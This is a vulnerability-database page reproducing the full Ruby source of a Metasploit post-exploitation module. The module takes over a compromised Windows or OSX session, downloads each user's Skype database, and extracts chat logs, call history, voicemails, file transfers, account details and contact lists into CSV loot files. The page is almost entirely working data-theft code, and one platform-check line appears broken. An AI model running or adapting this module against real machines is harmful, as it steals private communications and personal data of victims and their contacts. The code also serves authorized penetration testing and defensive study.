Lucene search
+L

Multi Gather Skype User Data Enumeration

🗓️ 05 Jun 2012 23:11:30Reported by Carlos Perez <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 65 Views

This module enumerates Skype account settings, contact list, call history, chat logs, file transfer history, and voicemail logs, saving data to CSV files for analysis. Supported platforms: OSX, Windows

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'csv'

class MetasploitModule < Msf::Post
  include Msf::Post::File
  include Msf::Post::Windows::UserProfiles
  include Msf::Post::OSX::System

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Multi Gather Skype User Data Enumeration',
        'Description' => %q{
          This module will enumerate Skype account settings, contact list, call history, chat logs,
          file transfer history, and voicemail logs, saving all the data to CSV files for analysis.
        },
        'License' => MSF_LICENSE,
        'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
        'Platform' => %w[osx win],
        'SessionTypes' => [ 'meterpreter', 'shell' ],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              core_channel_close
              core_channel_eof
              core_channel_open
              core_channel_read
              stdapi_fs_search
              stdapi_fs_separator
              stdapi_fs_stat
            ]
          }
        }
      )
    )
    register_advanced_options(
      [
        # Set as an advanced option since it can only be useful in shell sessions.
        OptInt.new('TIMEOUT', [true, 'Timeout in seconds when downloading main.db on a shell session.', 90]),
      ]
    )
  end

  # Run Method for when run command is issued
  def run
    # syinfo is only on meterpreter sessions
    print_status("Running Skype enumeration against #{sysinfo['Computer']}") if !sysinfo.nil?

    # Ensure that SQLite3 gem is installed
    begin
      require 'sqlite3'
    rescue LoadError
      print_error("Failed to load sqlite3, try 'gem install sqlite3'")
      return
    end

    if session.platform =~ /java/
      # Make sure that Java Meterpreter on anything but OSX will exit
      if session.platform !~ /osx/
        print_error('This session type and platform are not supported.')
        return
      end
      # Iterate thru each user profile on as OSX System for users not in the default install
      users = get_users.collect { |p| p['uid'].to_i > 500 ? p : nil }.compact
      users.each do |p|
        next unless check_skype("#{p['dir']}/Library/Application Support/", p['name'])

        db_in_loot = download_db(p)
        # Exit if file was not successfully downloaded
        return if db_in_loot.nil?

        process_db(db_in_loot, p['name'])
      end
    elsif (((session.platform = - 'windows')) && (session.type == 'meterpreter'))
      # Iterate thru each user profile in a Windows System using Meterpreter Post API
      grab_user_profiles.each do |p|
        if check_skype(p['AppData'], p['UserName'])
          db_in_loot = download_db(p)
          process_db(db_in_loot, p['UserName'])
        end
      end
    else
      print_error('This session type and platform are not supported.')
    end
  end

  # Check if Skype is installed. Returns true or false.
  def check_skype(path, user)
    dirs = []
    if session.type == 'meterpreter'
      session.fs.dir.foreach(path) do |d|
        dirs << d
      end
    else
      dirs = cmd_exec("ls -m \"#{path}\"").split(', ')
    end
    dirs.each do |dir|
      if dir =~ /Skype/
        print_good("Skype account found for #{user}")
        return true
      end
    end
    print_error("Skype is not installed for #{user}")
    return false
  end

  # Download file using Meterpreter functionality and returns path in loot for the file
  def download_db(profile)
    if session.type == 'meterpreter'
      if session.platform == 'osx'
        file = session.fs.file.search("#{profile['dir']}/Library/Application Support/Skype/", 'main.db', true)
      else
        file = session.fs.file.search("#{profile['AppData']}\\Skype", 'main.db', true)
      end
    else
      file = cmd_exec('mdfind', "-onlyin #{profile['dir']} -name main.db").split("\n").collect { |p| p =~ %r{Skype/\w*/main.db$} ? p : nil }.compact
    end

    file_loc = store_loot('skype.config',
                          'binary/db',
                          session,
                          'main.db',
                          "Skype Configuration database for #{profile['UserName']}")

    file.each do |db|
      if session.type == 'meterpreter'
        maindb = "#{db['path']}#{session.fs.file.separator}#{db['name']}"
        print_status("Downloading #{maindb}")
        session.fs.file.download_file(file_loc, maindb)
      else
        print_status("Downloading #{db}")
        # Giving it 1:30 minutes to download since the file could be several MB
        maindb = cmd_exec('cat', "\"#{db}\"", datastore['TIMEOUT'])
        if maindb.nil?
          print_error('Could not download the file. Set the TIMEOUT option to a higher number.')
          return
        end
        # Saving the content as binary so it can be used
        output = ::File.open(file_loc, 'wb')
        maindb.each_line do |d|
          output.puts(d)
        end
        output.close
      end
      print_good("Configuration database saved to #{file_loc}")
    end
    return file_loc
  end

  # Saves rows returned from a query to a given CSV file
  def save_csv(data, file)
    CSV.open(file, 'w') do |csvwriter|
      data.each do |record|
        csvwriter << record
      end
    end
  end

  # Extracts the data from the DB in to a CSV file
  def process_db(db_path, user)
    db = SQLite3::Database.new(db_path)

    # Extract information for accounts configured in Skype
    print_status('Enumerating accounts')
    user_rows = db.execute2('SELECT "skypeout_balance_currency", "skypeout_balance", "skypeout_precision",
          "skypein_numbers", "subscriptions", "offline_callforward", "service_provider_info",
          datetime("timestamp","unixepoch")"registration_timestamp",
          "nr_of_other_instances", "partner_channel_status", "flamingo_xmpp_status",
          "owner_under_legal_age", "type", "skypename", "pstnnumber", "fullname",
          "birthday", "gender", "languages", "country", "province", "city", "phone_home",
          "phone_office", "phone_mobile", "emails", "homepage", "about",
          datetime("profile_timestamp","unixepoch"), "received_authrequest",
          "displayname", "refreshing", "given_authlevel", "aliases", "authreq_timestamp",
          "mood_text", "timezone", "nrof_authed_buddies", "ipcountry",
          "given_displayname", "availability", datetime("lastonline_timestamp","unixepoch"),
          "assigned_speeddial", datetime("lastused_timestamp","unixepoch"),
          "assigned_comment", "alertstring", datetime("avatar_timestamp","unixepoch"),
          datetime("mood_timestamp","unixepoch"), "rich_mood_text", "synced_email",
          "verified_email", "verified_company" FROM Accounts;')

    # Check if an account exists and if it does enumerate if not exit.
    if user_rows.length > 1
      user_info = store_loot('skype.accounts',
                             'text/plain',
                             session,
                             '',
                             'skype_accounts.csv',
                             "Skype User #{user} Account information from configuration database.")
      print_good("Saving account information to #{user_info}")
      save_csv(user_rows, user_info)
    else
      print_error("No skype accounts are configured for #{user}")
      return
    end

    # Extract chat log from the database
    print_status('Extracting chat message log')
    cl_rows = db.execute2('SELECT "chatname", "convo_id", "author", "dialog_partner",
          datetime("timestamp","unixepoch"), "body_xml",
          "remote_id" FROM "Messages" WHERE type == 61;')
    chat_log = store_loot('skype.chat',
                          'text/plain',
                          session,
                          '',
                          'skype_chatlog.csv',
                          "Skype User #{user} chat log from configuration database.")

    if cl_rows.length > 1
      print_good("Saving chat log to #{chat_log}")
      save_csv(cl_rows, chat_log)
    else
      print_error('No chat logs where found!')
    end

    # Extract file transfer history
    print_status('Extracting file transfer history')
    ft_rows = db.execute2('SELECT "partner_handle", "partner_dispname",
          datetime("starttime","unixepoch"), datetime("finishtime","unixepoch"),
          "filepath", "filename", "filesize", "bytestransferred",
          "convo_id", datetime("accepttime","unixepoch") FROM "Transfers";')

    file_transfer = store_loot('skype.filetransfer',
                               'text/csv',
                               session,
                               '',
                               'skype_filetransfer.csv',
                               "Skype User #{user} file transfer history.")
    # Check that we have actual file transfers to report
    if ft_rows.length > 1
      print_good("Saving file transfer history to #{file_transfer}")
      save_csv(ft_rows, file_transfer)
    else
      print_error('No file transfer history was found!')
    end

    # Extract voicemail history
    print_status('Extracting voicemail history')
    vm_rows = db.execute2('SELECT "type", "partner_handle", "partner_dispname", "status",
          "subject", datetime("timestamp","unixepoch"), "duration", "allowed_duration",
          "playback_progress", "convo_id", "chatmsg_guid", "notification_id", "flags",
          "size", "path", "xmsg" FROM "Voicemails";')

    voicemail = store_loot('skype.voicemail',
                           'text/csv',
                           session,
                           '',
                           'skype_voicemail.csv',
                           "Skype User #{user} voicemail history.")

    if vm_rows.length > 1
      print_good("Saving voicemail history to #{voicemail}")
      save_csv(vm_rows, voicemail)
    else
      print_error('No voicemail history was found!')
    end

    # Extracting call log
    print_status('Extracting call log')
    call_rows = db.execute2('SELECT datetime("begin_timestamp","unixepoch"),
          "topic","host_identity", "mike_status", "duration", "soundlevel", "name",
          "is_incoming", "is_conference", "is_on_hold",
          datetime("start_timestamp","unixepoch"), "quality_problems", "current_video_audience",
          "premium_video_sponsor_list", "conv_dbid" FROM "Calls";')

    call_log = store_loot('skype.callhistory',
                          'text/csv',
                          session,
                          '',
                          'skype_callhistory.csv',
                          "Skype User #{user} call history.")
    if call_rows.length > 1
      print_good("Saving call log to #{call_log}")
      save_csv(call_rows, call_log)
    else
      print_error('No call log was found!')
    end

    # Extracting contact list
    print_status('Extracting contact list')
    ct_rows = db.execute2('SELECT  "skypename", "pstnnumber", "aliases", "fullname",
          "birthday", "languages", "country", "province", "city", "phone_home",
          "phone_office", "phone_mobile", "emails", "homepage", "about", "mood_text",
          "ipcountry", datetime("lastonline_timestamp","unixepoch"), "displayname",
          "given_displayname", "assigned_speeddial", "assigned_comment","assigned_phone1",
          "assigned_phone1_label", "assigned_phone2", "assigned_phone2_label",
          "assigned_phone3", "assigned_phone3_label", "popularity_ord", "isblocked",
          "main_phone", "phone_home_normalized", "phone_office_normalized",
          "phone_mobile_normalized", "verified_email", "verified_company"
          FROM "Contacts";')

    contact_log = store_loot('skype.contactlist',
                             'text/csv',
                             session,
                             '',
                             'skype_contactlist.csv',
                             "Skype User #{user} contact list.")
    if ct_rows.length > 1
      print_good("Saving contact list to #{contact_log}")
      save_csv(ct_rows, contact_log)
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation